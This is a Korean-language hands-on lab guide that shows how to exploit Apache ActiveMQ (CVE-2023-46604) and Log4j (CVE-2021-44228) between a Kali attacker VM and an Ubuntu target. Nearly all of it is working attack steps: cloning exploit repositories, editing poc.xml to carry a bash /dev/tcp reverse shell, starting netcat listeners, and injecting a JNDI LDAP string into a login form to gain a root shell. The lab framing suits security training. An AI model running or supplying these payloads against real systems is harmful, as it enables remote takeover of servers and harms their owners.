
취약점 CVE-2021-44228 및 CVE-2023-46604를 악용하기 위한 지침
이 랩은 CVE-2023-46604 취약점을 악용하는 방법을 안내합니다.
이 랩에는 2대의 가상 머신 설치가 필요합니다. Kali Linux 2023.4 버전 머신 한 대와 Ubuntu 22.04.3 LTS 버전 머신 한 대입니다. 다음에서 다운로드할 수 있습니다:

Kali Linux 머신에서:
git 설치
$sudo apt install git
gedit 설치
$sudo apt install gedit
Ubuntu 머신에서:
git 설치
$sudo apt install git
openjdk 18 설치
$sudo apt install openjdk-18-jdk
ActiveMQ 5.18.2 패키지 설치
$sudo su
$git clone https://github.com/dcm2406/ApacheActiveMQ
$cd ApacheActiveMQ/
$tar -xf apache-activemq-5.18.2-bin.tar.gz
Ubuntu 머신에서 터미널 창을 열고 아래와 같이 명령을 실행합니다:
$sudo su
$cd ApacheActiveMQ/apache-activemq-5.18.2/bin/linux-x86-64
$./activemq start
서비스 상태 확인:
$./activemq status
서비스가 성공적으로 시작되면 터미널 화면에 "ActiveMQ Brocker is running"이라고 표시됩니다.
또한 http://127.0.0.1:8161을 방문하여 ActiveMQ 브로커 관리자를 열 수 있습니다. 호스트 이름, 버전, ID, 가동 시간 및 기타 정보가 포함되어 있습니다.
Kali Linux 머신에서
악용 과정에 필요한 리소스 다운로드:
$sudo su
$git clone https://github.com/dcm2406/CVE-2023-46604
$cd CVE-2023-46604
$ls
보시다시피 exploit.py와 poc.xml 두 개의 파일이 있습니다:
$cd CVE-2023-46604
$python3 -m http.server
새 터미널 창을 열어 exploit.py 파일을 통해 poc.xml 파일을 대상 서버로 전송:
$sudo su
$cd CVE-2023-46604
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
명령이 실행된 후 대상 머신에서 계산기(Calculator) 애플리케이션이 실행됩니다. 이는 취약점이 성공적으로 악용되었음을 증명합니다. 계속해서 대상 머신을 제어하기 위해 리버스 셸을 생성합니다.
새 터미널 창을 열어 리버스 셸 연결을 대기:
$sudo su
$nc -nlvp 4444
이전 터미널로 돌아가 poc.xml 파일을 편집:
$gedit poc.xml
gnome-calculator 값을 bash -i >& /dev/tcp/192.168.132.130/4444 0>&1로 바꾸고 파일을 저장합니다.
악성 코드를 다시 전송:
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
이 명령의 결과로 대상 머신에서 루트 셸을 획득했습니다. ROOTED!!!
이 랩에는 2대의 가상 머신 설치가 필요합니다. Kali Linux 2023.4 버전 머신과 Ubuntu 22.04.3 LTS 버전 머신입니다. 다음에서 다운로드할 수 있습니다:

Kali Linux 머신에서:
git 설치
$sudo apt install git
gedit 설치
$sudo apt install gedit
Ubuntu 머신에서:
git 설치
$sudo apt install git
docker 설치
$sudo apt install docker.io
Ubuntu 머신에서
1단계: openjdk 다운로드
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
$tar -xf jdk-8u20-linux-x64.tar.gz
2단계: 도커 파일 다운로드 및 빌드
$sudo su
$git clone https://github.com/dcm2406/web-server-cve44228
$docker build -t cve44228
$docker run --network host cve44228
위 명령을 완료하면 웹사이트가 생성됩니다. 웹을 탐색하려면 URL: http://<ubuntu_ip>:8080을 사용할 수 있습니다. 이 튜토리얼에서 주소는 다음과 같습니다: http://192.168.132.135:8080
Kali Linux 머신에서 취약점을 악용하는 데 필요한 리소스를 다운로드합니다.
poc 다운로드
$sudo su
$git clone https://github.com/kozmer/log4j-shell-poc
$pip install -r requirement.txt
openjdk 다운로드
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
//move the openjdk file to the directory containing the poc file
$mv jdk-8u20-linux-x64.tar.gz <path to the directory containing the poc file>
$tar -xf jdk-8u20-linux-x64.tar.gz //unzip the file
새 터미널을 열어 리버스 셸 연결을 대기:
$sudo su
$nc -nlvp 9001
poc 파일로 LDAP 및 HTTP 서비스 실행
$sudo su
$cd log4j-shell-poc
$python3 poc.py --userip 192.168.132.130 --lport 9001 --webport 8080
명령은 다음과 유사한 결과를 반환합니다.
[!] CVE: CVE-2021-44228
Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.132.130:1389/a}
[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
여기서는 생성된 jndi 값에만 관심이 있습니다. 웹 브라우저를 열고 이전에 만든 웹사이트 주소를 입력합니다. jndi 값을 사용하여 로그인합니다. 이때 netcat 터미널이 연결을 수신합니다. ROOTED!!!
지원을 원하시면 [email protected]으로 이메일을 보내주세요.